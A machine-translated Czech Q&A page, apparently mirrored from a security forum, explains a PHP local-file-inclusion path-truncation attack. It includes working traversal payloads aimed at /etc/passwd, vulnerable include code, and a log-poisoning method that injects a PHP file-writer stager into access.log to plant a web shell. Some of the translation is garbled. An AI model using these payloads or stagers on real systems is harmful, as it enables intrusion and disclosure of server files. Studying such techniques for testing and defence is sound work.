it-swarm-eu.dev

Jak mohu použít tuto cestu k obejití / využití místního začlenění souborů?

Na některých webech jsem se pokusil spustit skript pro skenování zranitelnosti (Uniscan 6.0) a poté jsem našel web, který lze pomocí této následující cesty využít. (zahrnuto slovo „neplatné“, parametry/web jsou oba cenzurovány)

http://www.website.com/index.php?param1=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.&param2=value&param3=value

Pokud jde o můj další krok, opravdu chci pochopit, co se přesně děje, a tak se ho snažím ručně využít. (Podíval jsem se na některé návody o LFI)

  1. ../../../../../../../../../../../../../../../../etc/passwd& .. .
  2. neplatný ../../../../../../../../../../../../../../../../ atd./passwd &. ..
  3. ../../../../../../../../../../../../../../../../etc/passwd%00& ...
  4. ../../../../../../../../../../../../../../../../etc/passwd/. /./& ...
  5. ../../../../../../../../../../../../../../../../etc/passwd%00 /. /. /% ...

ale nefungovali kromě první velmi dlouhé cesty, co se děje?

Jaký php-kód mám použít? A jak by ta dlouhá cesta mohla obejít ten zranitelný php-kód?

Následující informace mohou být užitečné.

< HTTP/1.1 200 OK
< Date: Thu, 19 Jul 2012 19:46:03 GMT
< Server: Apache/2.2.3 (CentOS)
< X-Powered-By: PHP/5.1.6
< Set-Cookie: PHPSESSID=[blah-blah]; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 2094
< Content-Type: text/html
30
Smile.Hunter

Fascinující! @catalyze zde vykopal opravdu zajímavou a krásnou situaci. Chtěl jsem si udělat čas na shrnutí toho, co se tady děje, na tomto webu. (Plné kredity pro @catalyze a Francesco "ascii" Ongaro; já jen shrnuji, co vysvětlili.)

Shrnutí. Toto není každodenní útok LFI. Místo toho je to něco neobvyklého a chytřejšího. Zde máme chybu zabezpečení, kterou nelze zneužít pomocí standardních metod LFI; potřebujete více trikovitosti, abyste zjistili, jak ji využít.

Pozadí. Nejprve vám musím říct dvě fakta o zacházení se soubory PHP, které objevil Francesco "ascii" Ongaro a další:

  • Fakt 1. Můžete přidat věci na konec názvu souboru. Každý ví, že /./etc/passwd je jen další způsob, jak odkazovat na /etc/passwd soubor. Ale tady jsou některé, o kterých jste možná nevěděli.

    U PHP se ukázalo, že /etc/passwd/ také odkazuje na /etc/passwd file: koncové lomítka jsou odstraněny. Divoký, co? Toto nefunguje na základně Unixu, takže je trochu překvapivé, že PHP by akceptoval takový název souboru), ale zdá se, že PHP se sám o sobě stahuje) koncové lomítka před otevřením souboru.

    Můžete připojit libovolný počet koncových lomítek: /etc/passwd//// je také v pořádku.

    A můžete připojit ./ (kolikrát chcete). Například, /etc/passwd/., /etc/passwd/./, a /etc/passwd/././. všechny odkazují na /etc/passwd. Ořech! PHP je jedno.

  • Skutečnost 2. Dlouhé cesty jsou zkráceny. Na většině instalací PHP instalací, pokud je název souboru delší než 4096 bajtů, bude to tiše zkráceno a vše po prvních 4096 bajtech) bude zahozena. Žádná chyba se nespustí: nadbytečné znaky jsou jednoduše zahozeny a PHP šťastně pokračuje).

Útok. Nyní jsem připraven popisovat útok. Ukážu vám zranitelný kód, proč standardní útoky LFI nefungují, a poté, jak vytvořit chytřejší útok, který funguje. Výsledek vysvětluje, co @catalyze viděl ve svém nejraději.

Zranitelný kód. Předpokládejme, že máme kód, který vypadá takto:

<?php
include("includes/".$_GET['param1'].".php");
?>

Vypadá to, že zranitelnost místního souboru zahrnuje (LFI), že? Ale situace je ve skutečnosti o něco složitější, než se na první pohled může zdát. Abychom zjistili proč, podívejme se na některé útoky.

Standardní útoky. Standardní, naivní způsob, jak se pokusit zneužít tuto chybu zabezpečení LFI, je poskytnout parametr, který vypadá jako ?param1=../../../../var/www/shared/badguy/evil. Výše uvedený PHP kód se poté pokusí zahrnout soubor includes/../../../../var/www/shared/badguy/evil.php. Pokud předpokládáme, že soubor /var/www/shared/badguy/evil.php existuje a je řízen útočníkem, pak tento útok povede k tomu, že aplikace spustí škodlivý kód vybraný útočníkem.

Funguje to však pouze v případě, že útočník může do souborového systému zavést soubor s obsahem podle svého výběru, jehož název končí koncem .php. Co když útočník neovládá žádný soubor v souborovém systému, který končí v .php? Takže standardní útoky selžou. Bez ohledu na to, jakou hodnotu parametru poskytuje útočník, otevře se pouze název souboru, který končí znakem .php rozšíření.

Sofistikovanější útok. Díky dodatečným skutečnostem, které jsem vám poskytl dříve, možná uvidíte, jak přijít s propracovanějším útokem, který toto omezení překonává.

Útočník si v zásadě vybere velmi dlouhou hodnotu parametru, takže vytvořené jméno souboru bude delší než 4096 bytů. Když je název souboru zkrácen, .php rozšíření se vyhodí. A pokud útočník může zařídit, aby výsledný název souboru odkazoval na existující soubor v souborovém systému, je útočník dobrý.

Teď by to mohlo znít jako přitažlivý útok. Jaké jsou šance, že najdeme název souboru na souborovém systému, jehož úplná cesta bude mít přesně 4096 bytů? Možná to není tak dobré?

Zde přicházejí do hry základní fakta. Útočník může poslat žádost s ?param1=../../../../etc/passwd/./././././<...> (s ./ vzor se opakoval mnohokrát). Nyní se podívejte, jaký název souboru bude zahrnut, poté, co bude předpona předpona a .php přípona souboru je přidána: bude to něco jako includes/../../../../etc/passwd/./././././<...>.php. Tento název souboru bude delší než 4096 bajtů, takže bude zkrácen. Zkrácení zruší příponu souboru a zanechá nám název souboru ve tvaru includes/../../../../etc/passwd/./././././<...>. A díky způsobu PHP zpracovává koncové lomítka a koncové ./ sekvence, všechny ty věci na konci budou ignorovány. Jinými slovy, s tímto názvem souboru bude zacházet PHP jako ekvivalentní s cestou includes/../../../../etc/passwd. Takže PHP se pokusí číst ze souboru hesel, a když najde PHP syntaktické chyby tam, může to vypsat obsah souboru hesla do chyby) stránka - odhalení tajných informací útočníkovi.

Tato technika tedy umožňuje zneužít některá zranitelná místa, která by jinak nemohla být zneužita standardními metodami. Podrobnější diskuse a mnoho dalších příkladů naleznete na stránkách, na které @catalyze odkazuje.

To také vysvětluje, proč @catalyze nemohl útok zneužít posláním něco jako ?param1=../../../../etc/passwd: a .php přípona byla přidána a soubor /etc/passwd.php neexistoval, takže útok selhal.

Shrnutí. Zvláštnosti v zacházení se souborovými cestami v PHP umožňují nejrůznější jemné útoky na zranitelnosti, které by jinak vypadaly jako nevyužitelné. Pro pentestery mohou být tyto techniky útoku užitečné znát.

Pro vývojáře je lekce stejná: ověřte své vstupy; nedůvěřujte vstupům poskytnutým útočníkem; znát klasické zranitelnosti webu a nezavádějte je do svého kódu.

33
D.W.

Nakonec jsem našel řešení!

Techniky obtoku tohoto LFI se nazývají Útok zkrácení cesty

Scénář:

  • Žádné bílé/černé seznamy, open_base_dir ani žádná omezení konfigurace přístupu
  • Existuje nouzový prostor escape magic_quotes, protože addslashes () se implicitně volá na všech vstupech GPC a SERVER. (v tomto případě etc/passwd%00 stal by se etc/passwd\0, takže jej nelze vyhodnotit jako správný soubor.)
  • include_path (uvnitř php.ini ) obsahuje poslední absolutní cesta ke spuštění části komplexu zranitelného ve zdrojovém kódu PHP (například ) include_path = ".:/usr/share/php" )
  • PHP <? (Kdo ví?)

Užitečné zatížení:

  • Musí začínat neexistujícím adresářem
  • Pokračujte s traversal saně, přejděte na cestu zahrnout
  • Konec normalizačními/zkrácenými saněmi.

Chytří lidé jsou tady ..

http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/

http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/

7
Smile.Hunter

Na tuto otázku odpovím s výhradou, že předpokládám, že se to používá pro právní účely a pouze pro bezpečnostní výzkum.

Pokud mluvíme o webových stránkách PHP=), pravděpodobně se to děje v pozadí:

$file = fopen($_GET["param"], "r");
/* Do some operation on the file handler, like maybe read the file and output it */
$contents = fread($file, $size);
print $contents

Toto LFI byste mohli potenciálně využít k nahrání vašeho webového prostředí a spuštění systémových příkazů na webovém prostředí. Nejjednodušší způsob, jak toho dosáhnout, je vstoupit do access.log a přístup access.log. Nejjednodušší způsob, jak toho dosáhnout, je upravit User Agent, nebo možná i požadavek GET, aby zahrnul nějaký kód PHP, který by vám pomohl nastavit stager. Například telnet do webu a následující žádost by měla vstoupit do access.log:

GET/ <?php phpinfo() ?>

Je zřejmé, že vše, co uděláte, je získat PHP informace z access.log, ale získáte představu.) Na stejných řádcích byste mohli snadno udělat něco jako:

GET/ <?php data = $_REQUEST['data']; $filename = $_REQUEST['filename']; file_put_contents($filename,base64_decode($data)); ?>

a pak do něj nahrajte skript s kódováním base64 PHP) a získejte tam svůj web Shell. Nechám to na vás, aby zjistil, co všechno je, nemělo by to být těžké vůbec, existuje opravdu vícedílný výukový program na Kaotic Creations , který byste si měli opravdu přečíst, pokud máte zájem dozvědět se více o tom.

5